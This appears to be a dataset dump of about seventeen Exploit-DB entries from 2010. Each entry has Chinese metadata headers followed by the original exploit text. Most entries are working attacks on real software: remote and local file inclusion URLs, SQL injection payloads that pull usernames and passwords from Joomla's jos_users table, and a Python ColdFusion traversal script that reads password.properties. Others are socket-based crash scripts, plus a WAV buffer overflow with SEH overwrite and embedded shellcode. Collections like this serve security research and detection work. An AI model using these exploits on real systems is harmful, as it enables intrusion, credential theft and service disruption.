QLWD/code_shield huggingface dataset:
标题: Free Simple Software 1.0 - Remote File Inclusion EDB-ID: 14672 CVE: 2010-4298 2010-3742 2010-3307 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-17 漏洞利用脚本: ########################################################
###  Free Simple Software V1.0  ###                                                  
#By :  Dr.$audi  ( SauDi ViRuS TeaM )                                         
#By : http://Sa-ViRuS.CoM                                                     
#Email : Mon7b6@Gmail.com         
#Dork: Powered by free simple software                                            
#Greets : RENO , Dr.php , ! BaD BoY ! , Gov.HaCkEr , Mind , AnTi SeCuRe 
########################################################
Script HomePage: www.freesimplesoft.com          #
########################################################
#RFI:                                                                                                     
# http://site/path/themes/default/index.php?meta=[Shell URL]?
# http://site/path/themes/default/index.php?phpincdir=[Shell URL]?
######################################################## URL: https://www.exploit-db.com/exploits/14672
标题: Get Tube - SQL Injection EDB-ID: 14637 CVE: 2010-4934 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-13 漏洞利用脚本: -----------------------------------------------------------------------------------------
Get Tube 4.51 & All Versions SQL Injection Vulnerability
-----------------------------------------------------------------------------------------
 
[+]Title Get Tube 4.51 & All Versions SQL Injection Vulnerability
[+]Author Mr.P3rfekT
[+]Contact  Mr.P3rfekT@gmail.com
[+]Tested on   Unix 10.1
[+]Date 2010/8/13
---------------------------------------------------------------------------
[~] Site: http://www.Mr-P3rfekT.Net
[~] Vendor: http://www.svcreation.fr/
[~] Download: http://simon.vrel.free.fr/downloads/GetTube.dmg
[~] Version: 4.51 & 4.5 & v.4.01  v.3.02 v.2.3
[~] Price : Free
==========Pwned By Mr.P3rfekT==========
[+] Description: Freeway is the most advanced Open Source eCommerce platform and includes an array of features not found in extremely expensive commercial systems. Without having to purchase a commercial system and then paying a developer to build custom installation, Freeway does most of what you need out of the box. For example, instead of getting dragged into purchasing an overpriced products based system and having a developer struggle for weeks and eventually fail to force products sales into event sales, Freeway already support events AND services AND subscriptions.
==========================================
 
[+] Dork: No DoRks For Script Kiddies
 
==========================================
 
[ I ].  SQL Vulnerability
=+=+=+=+=+=+=+=+=+
 
[P0C]:  http://127.0.0.1/path/video.php?id= SQLi
  

Line : 1 
Column : 1064
 
http://127.0.0.1/path/video.php?id=-4444 union select swfurl 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from  archive

=========================================================================================== URL: https://www.exploit-db.com/exploits/14637
标题: Adobe ColdFusion - Directory Traversal EDB-ID: 14641 CVE: 2010-2861 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-08-14 漏洞利用脚本: # Working GET request courtesy of carnal0wnage:
# http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
#
# LLsecurity added another admin page filename: "/CFIDE/administrator/enter.cfm"


#!/usr/bin/python

# CVE-2010-2861 - Adobe ColdFusion Unspecified Directory Traversal Vulnerability
# detailed information about the exploitation of this vulnerability:
# http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/

# leo 13.08.2010

import sys
import socket
import re

# in case some directories are blocked
filenames = ("/CFIDE/wizards/common/_logintowizard.cfm", "/CFIDE/administrator/archives/index.cfm", "/cfide/install.cfm", "/CFIDE/administrator/entman/index.cfm", "/CFIDE/administrator/enter.cfm")

post = """POST %s HTTP/1.1
Host: %s
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: %d

locale=%%00%s%%00a"""

def main():
    if len(sys.argv) != 4:
        print "usage: %s <host> <port> <file_path>" % sys.argv[0]
        print "example: %s localhost 80 ../../../../../../../lib/password.properties" % sys.argv[0]
        print "if successful, the file will be printed"
        return
    
    host = sys.argv[1]
    port = sys.argv[2]
    path = sys.argv[3]

    for f in filenames:
        print "------------------------------"
        print "trying", f

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, int(port)))
        s.send(post % (f, host, len(path) + 14, path))

        buf = ""
        while 1:
            buf_s = s.recv(1024)
            if len(buf_s) == 0:
                break
            buf += buf_s
       
        m = re.search('<title>(.*)</title>', buf, re.S)
        if m != None:
            title = m.groups(0)[0]
            print "title from server in %s:" % f
            print "------------------------------"
            print m.groups(0)[0]
            print "------------------------------"

if __name__ == '__main__':
    main() URL: https://www.exploit-db.com/exploits/14641
标题: Acrobat Acrobat - Font Parsing Integer Overflow EDB-ID: 14642 CVE: 2010-2862 类型: DOS 平台: WINDOWS 发布日期: 2010-08-14 漏洞利用脚本: From the authors site:

In this article, I'm going to share with you my observations and analysis on recent Adobe Acrobat Font Parsing vulnerability. Source document exists here:

http://securityevaluators.com/files/papers/CrashAnalysis.pdf (page 51-58)

After reading the paper, I started studying the TTF format. After initial research, I wrote this script:

Writeup and proof of concept files included in archive file.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14642.tgz (VA010-003.tgz) URL: https://www.exploit-db.com/exploits/14642
标题: MailForm 1.2 - Remote File Inclusion EDB-ID: 14639 CVE: 2010-4939 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-13 漏洞利用脚本: # Exploit Title: [MailForm Remote File Include ] 
# Date: [14-8-2010] 
# Author: LoSt.HaCkEr  /  aDaM_TRoJaN
# Software Link: [http://scripts.bdr130.net/files/any/MailForm.zip] 
# Version: [v 1.2 ] 
# Tested on: [Windows XP] 
# CVE : [هكر المسيب] 
#Contact: LoSt.HaCkEr[at]yahoo[dot]com /0r/  aDaM_TRoJaN@yahoo.com
 +++++++++++++++++++++++++++++++++++++++++++++++++++++
Exploit: http://target/MailForm/HTML/index.php?theme=[EV!L]
 +++++++++++++++++++++++++++++++++++++++++++++++++++++
A special tribute to: DannY.iRaQi - TeaM iRaQ HaCkers URL: https://www.exploit-db.com/exploits/14639
标题: PHP-Fusion - Local File Inclusion EDB-ID: 14647 CVE: 2010-4931 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-15 漏洞利用脚本: # Exploit Title:   PHP-Fusion Local File Includes Vulnerability
# Date: 2010/08/15
# Author: MoDaMeR
# Email: k@live.ma
# My Sites : www.v4-team.com & www.hackteach.org
# Script home: http://www.phpfusion-ar.com
# download Script:
http://www.phpfusion-ar.com/downloads.php?cat_id=1&download_id=91
# Version:all
# Tested on: Linux
# Team hacker:Mr.Mo0oM & Dr.xp
                          فلسطين كلنا فداءً لكِ
                         :::::::::::::::::::::::::
=================Exploit=================
maincore.php
[php]
 // Locate config.php and set the basedir path
$folder_level = ""; $i = 0;
while (!file_exists($folder_level."config.php")) {
    $folder_level .= "../"; $i++;
    if ($i == 5) { die("Config file not found"); }
}
require_once $folder_level."config.php";
define("BASEDIR", $folder_level);
[/php]
----exploit----

http://{localhost}/{path}/maincore.php?folder_level=LFI

---------greatz----------
Greatz to :
aB0 m0h4mM3d , and all v4-team & hackteach members URL: https://www.exploit-db.com/exploits/14647
标题: CA Advantage Ingres 2.6 - Multiple Buffer Overflow Vulnerabilities (PoC) EDB-ID: 14646 CVE: 2007-3336 类型: DOS 平台: WINDOWS 发布日期: 2010-08-14 漏洞利用脚本: # Exploit Title: Computer Associates Advantage Ingres 2.6 Multiple Buffer Overflow Vulnerabilities PoC
# Date: 2010-08-14
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Version: 2.6
# Tested on: Windows 2003 Server SP1 en
# CVE: CVE-2007-3336 - CVE-2007-3338
# Notes: Fixed in the last version.
# iigcc - EDX holds a pointer that's overwritten at byte 2106 and it crashes while executing
# MOV EAX,DWORD PTR DS:[EDX+8]
# iijdbc - EDI holds a pointer that's overwritten at byte 1066 and it crashes while executing 
# CMP ECX,DWORD PTR DS:[EDI+4]
# please let me know if you are/were able to get code execution

import socket
import sys

if len(sys.argv) != 4:
    print "Usage: ./CAAdvantageDoS.py <Target IP> <Port> <Service>"
    print "Vulnerable Services: iigcc, iijdbc"
    sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
service = sys.argv[3]

if service == "iigcc":
        payload = "\x41" * 2106
elif service == "iijdbc":
        payload = "\x41" * 1066
else:
        print "Vulnerable Services: iigcc, iijdbc"
        sys.exit(1)

payload += "\x42" * 4

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print "Sending payload"
s.send(payload)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

print service + " crashed" URL: https://www.exploit-db.com/exploits/14646
标题: Saurus CMS 4.7.0 - Remote File Inclusion EDB-ID: 14618 CVE: 2010-4943 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-11 漏洞利用脚本: # Exploit Title: [SaurusCMSupdate4.7.0 Remote File Include ]
# Date: [11-8-2010]
# Author: LoSt.HaCkEr
# Software Link: [http://www.brothersoft.com/saurus-cms-download-17626.html]
# Version: [v 4.7.0]
# Tested on: [Windows XP]
# CVE : [هكر المسيب]
#____Contact__LoSt.HaCkEr[at]yahoo[dot]com

____________________________________
Exploit: http://target/SaurusCMSupdate4.7.0/saurus_cms_upd4.7.0/file.php?class_path=[EV!L]
____________________________________________
Exploit: http://target/SaurusCMSupdate4.7.0/saurus_cms_upd4.7.0/com_del.php?class_path=[EV!L]
____________________________________________
A special tribute to:

DannY.iRaQi - TeaM iRaQ HaCkers URL: https://www.exploit-db.com/exploits/14618
标题: clearBudget 0.9.8 - Remote File Inclusion EDB-ID: 14614 CVE: 2010-4924 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-11 漏洞利用脚本: # Exploit Title: clearBudget v0.9.8 Remote File Include
# Date: 10/08/2010
# Author: Offensive [Offsensive@live.com] ~ Red-Stone On Community !
# Software Link: [ http://www.clearbudget.net ]
# Version : v0.9.8
# Tested on: Windows XP

C0nditi0ns : PHP Version > 4.x.x
Expl0it Code : http://target/clearBudget.0.9.8/logic/controller.class.php?actionPath=[file]

Ramadan Kareem !
Gr33t'z : SA-h4x0r ~ LoOoRd ~ Inj3ct0r M3ms & T3am URL: https://www.exploit-db.com/exploits/14614
标题: Microsoft Windows - 'SfnLOGONNOTIFY' Privilege Escalation (MS10-048) EDB-ID: 14611 CVE: 2010-1894 类型: DOS 平台: WINDOWS 发布日期: 2010-08-10 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/39630/info

Microsoft Windows is prone to a local privilege-escalation vulnerability.

A local attacker may exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts may cause a denial-of-service condition.

Microsoft Windows 2000, Windows XP and Windows 2003 are affected by this issue. 
*/

# Include "stdafx.h"
# Include "windows.h"
int main (int argc, char * argv [])
(
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");
 
getchar();
 
HWND hwnd = FindWindow ("DDEMLEvent", NULL);
 
if (hwnd == 0)
(
   printf ("cannot find DDEMLEvent Window! \ n");
   return 0;
)
 
PostMessage (hwnd, 0x4c, 0x4, 0x80000000);
 
 
return 0;
) URL: https://www.exploit-db.com/exploits/14611
标题: Microsoft Windows - Tracing Registry Key ACL Privilege Escalation EDB-ID: 14610 CVE: 2010-2554 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/42269/info

Microsoft Windows is prone to a local privilege-escalation vulnerability.

An attacker can exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successful exploits will result in the complete compromise of affected computers. 

Code:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14610.zip (Chimichurri-CVE-2010-2554.zip) URL: https://www.exploit-db.com/exploits/14610
标题: Joomla! Component Teams - Multiple Blind SQL Injections EDB-ID: 14598 CVE: 2010-4941 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-10 漏洞利用脚本: Teams 1_1028_100809_1711 Joomla Component Multiple Blind SQL Injection Vulnerabilities

 Name              Teams
 Vendor            http://www.joomlamo.com
 Versions Affected 1_1028_100809_1711

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-08-10

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

Teams is a base application for entering leagues, teams,
players, uniforms, and games.  


II. DESCRIPTION
_______________

Some parameters are not properly  sanitised before being
used in SQL queries.


III. ANALYSIS
_____________

Summary:

 A) Multiple Blind SQL Injection
 

A) Multiple Blind SQL Injection
_______________________________

Many parameters  are not properly sanitised before being
used in SQL queries. This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.


IV. SAMPLE CODE
_______________

A) Multiple Blind SQL Injection

POST /index.php HTTP/1.1
Host: targethost
Content-Type: application/x-www-form-urlencoded
Content-Length: 205

FirstName=mario&LastName=rossi&Notes=sds&TeamNames[1]=on&UniformNumber[1]=1&Active=Y&cid[]=&PlayerID=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(99999999,NULL),NULL)))&option=com_teams&task=save&controller=player


V. FIX
______

No fix. URL: https://www.exploit-db.com/exploits/14598
标题: Joomla! Component Amblog 1.0 - Multiple SQL Injections EDB-ID: 14596 CVE: 2010-4937 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-10 漏洞利用脚本: Amblog 1.0 Joomla Component Multiple SQL Injection Vulnerabilities

 Name              Amblog
 Vendor            http://robitbt.hu
 Versions Affected 1.0

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-08-10

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

Amblog is a simple blog engine for Joomla CMS.


II. DESCRIPTION
_______________

Some parameters are not properly  sanitised before being
used in SQL queries.


III. ANALYSIS
_____________

Summary:

 A) Multiple SQL Injection
 B) Multiple Blind SQL Injection
 

A) Multiple SQL Injection
_________________________

Some  parameters,  such as articleid and catid, are  not
properly sanitised before being used in SQL queries.This
can  be exploited to manipulate SQL queries by injecting
arbitrary SQL code.


B) Multiple Blind SQL Injection
_________________________

The articleid parameter is not properly sanitised before
being  used  in  SQL  queries.  This can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.


IV. SAMPLE CODE
_______________

A) Multiple SQL Injection

http://site/path/index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version

http://site/path/index.php?option=com_amblog&task=article&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users

http://site/path/index.php?option=com_amblog&task=newform&catid=-1 UNION SELECT 1,CONCAT(username,0x3a,password) FROM jos_users

http://site/path/index.php?option=com_amblog&task=editform&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users

http://site/path/index.php?option=com_amblog&task=editcommentform&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users

http://site/path/index.php?option=com_amblog&task=savenewcomment&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users

http://site/path/index.php?option=com_amblog&task=saveeditcomment&articleid=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 FROM jos_users


B) Multiple Blind SQL Injection

http://site/path/index.php?option=com_amblog&task=editsave&articleid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))

http://site/path/index.php?option=com_amblog&task=delete&articleid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL)))


V. FIX
______

No fix. URL: https://www.exploit-db.com/exploits/14596
标题: Microsoft Msxml2.XMLHTTP.3.0 - Response Handling Memory Corruption (MS10-051) EDB-ID: 14609 CVE: 2010-2561 类型: DOS 平台: WINDOWS 发布日期: 2010-08-10 漏洞利用脚本: # Sources:
# http://skypher.com/index.php/2010/08/10/ms10-051/
# http://code.google.com/p/skylined/issues/detail?id=17
#
import os, re, socket;
webserver_port = 28876;

replies = {
  r'^/$': ('text/html', """
<SCRIPT>
  iCounter = 0
  function go() {
    var request_url = location.protocol + "//" + location.host + "/RandomHTTP?counter=" + (iCounter++);
    var xml_http_request = new ActiveXObject("Msxml2.XMLHTTP.3.0");
    xml_http_request.open("GET", request_url, false);
    xml_http_request.send();
    setTimeout(go, 1);
  }
  go();
</SCRIPT>
"""),
  r'^/RandomHTTP\?counter=\d+$': 'HTTP 4\n',
};

server_socket = socket.socket();
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1);
server_socket.bind(('', webserver_port));
server_socket.listen(1);
print 'Webserver running at http://localhost:%d/' % webserver_port;

while 1:
  client_socket,_ = server_socket.accept();
  try:
    request = client_socket.recv(1024);
  except socket.error, e:
    print '>> ??';
    continue;
  print '>> ' + request.split('\r\n')[0];
  path = None;
  if request[:4] == 'GET ':
    end_path = request.find(' ', 4);
    if end_path != -1:
      path = request[4:end_path];
  code, reason, mime_type, body = 404, 'Not found', 'text/plain', 'Not found';
  response = None;
  if path is not None:
    for path_regexp in replies.keys():
      if re.match(path_regexp, path):
        if type(replies[path_regexp]) == str:
          response = replies[path_regexp];
        elif type(replies[path_regexp]) == tuple:
          code, reason = 200, 'OK';
          mime_type, body = replies[path_regexp];
        else:
          code, reason, mime_type, body = replies[path_regexp](path);
        break;
  if response is None:
    response = '\r\n'.join([
      'HTTP/1.1 %03d %s' % (code, reason),
      'Content-Type: %s' % mime_type,
      'Date: Sat Aug 28 1976 09:15:00 GMT',
      'Expires: Sat Aug 28 1976 09:15:00 GMT',
      'Cache-Control: no-cache, must-revalidate',
      'Pragma: no-cache', 
      'Accept-Ranges: bytes',
      'Content-Length: %d' % len(body),
      '',
      body
    ]);
  print '<< %s (%d bytes %s)' % \
      (response.split('\r\n')[0], len(response), mime_type);
  try:
    client_socket.send(response);
  except socket.error, e:
    pass;
  client_socket.close(); URL: https://www.exploit-db.com/exploits/14609
标题: LibTIFF - 'td_stripbytecount' Null Pointer Dereference Remote Denial of Service EDB-ID: 14573 CVE: 2010-2482 类型: DOS 平台: LINUX 发布日期: 2010-08-07 漏洞利用脚本: From: https://www.securityfocus.com/bid/41480/
LibTIFF is prone to a denial-of-service vulnerability because it fails to properly validate user-supplied input.

An attacker can exploit this issue to crash an application that uses the vulnerable library, denying service to legitimate users. Due to the nature of this issue, attackers may be able to execute arbitrary code, but this has not been confirmed.

Versions up to and including libTIFF 3.9.4 are vulnerable. 

PoC:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14573.tif.gz (lp589145-sample.tif.gz) URL: https://www.exploit-db.com/exploits/14573
标题: Fat Player 0.6b - '.WAV' File Processing Buffer Overflow (SEH) EDB-ID: 14591 CVE: 2009-4962 类型: LOCAL 平台: WINDOWS 发布日期: 2010-08-09 漏洞利用脚本: #################################################################################################
#     Stack-based buffer overflow in Fat Player 0.6b allows remote attackers to execute 
# arbitrary code via a long string in a .wav file. NOTE: some of these details are 
# obtained from third party information.
#
#    Reference:
#     http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-4962
#     http://xforce.iss.net/xforce/xfdb/52713
# http://sourceforge.net/projects/fatplayer/
# http://www.exploit-db.com/exploits/9495/
#
#    Tested on: Windows XP SP3, FatPlayer 0.6b
#
#
#    This was strictly written for educational purpose. Use it at your own risk.
#    Author will not bare any responsibility for any damages watsoever.
#
#        Author: Praveen Darshanam
#        Email:  praveen[underscore]recker[at]sify.com
#  Blog:   http://darshanams.blogspot.com
#        Date:  10th August, 2010
#
#
#################################################################################################

print "\nFat Player 0.6b WAV File Processing Buffer Overflow (SEH)"

buff1 = "D" * 4132

nseh = "\xeb\x06\x90\x90"
seh_ppr = "\x39\x1f\xd1\x72"
#0x72D11F39      pop edi - pop - retbis msacm32.drv

noop = "\x90" * 10
code2exec = ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca")

buff2 = "Z" * (40000 - len(buff1) - len(nseh) - len(seh_ppr) - len(noop) - len(code2exec))
mal_buff = buff1 + nseh + seh_ppr + noop + code2exec + buff2

try:
 fatpwav = open ("fatplayerboseh.wav","w")
 fatpwav.write(mal_buff)
 fatpwav.close()
 print "\nMalicious WAV File Created . . . !!"
 print "[+] Coded by Praveen Darshanam"
except:
 print "\nUnable to Create File\n" URL: https://www.exploit-db.com/exploits/14591